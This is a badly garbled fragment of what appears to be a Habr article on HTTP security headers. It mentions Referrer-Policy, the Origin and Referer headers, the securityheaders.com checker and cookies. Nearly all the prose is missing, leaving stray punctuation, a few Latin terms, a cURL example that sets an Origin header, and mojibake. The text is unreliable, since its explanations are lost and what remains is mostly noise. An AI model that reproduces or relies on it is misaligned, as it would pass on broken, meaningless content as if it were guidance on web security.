  • origin : https://example.com/private-page https://example.com/
  • same-origin : Referer ,

, Referred-Policy ( strict-origin , no-referrer-when-downgrade . .), , , , . , , OWASP .

Origin Referer , , , . Origin , . -: Origin , .

, HTTP-, cURL, : c url -H "Origin: example.com" api.example.com origin тАжтАж Origin ( Referer , ) .


securityheaders.com , -, , - , . , URL, . facebook.com :

рдЫрд╡рд┐

, , securityheaders.com тАФ , .

HTTP : cookie


HTTP, , - , .

HTTP: .

, - HTTP , , , ( ) -: - , , ┬л ┬╗. , cookie , .

Source: https://habr.com/ru/post/hi434228/


All Articles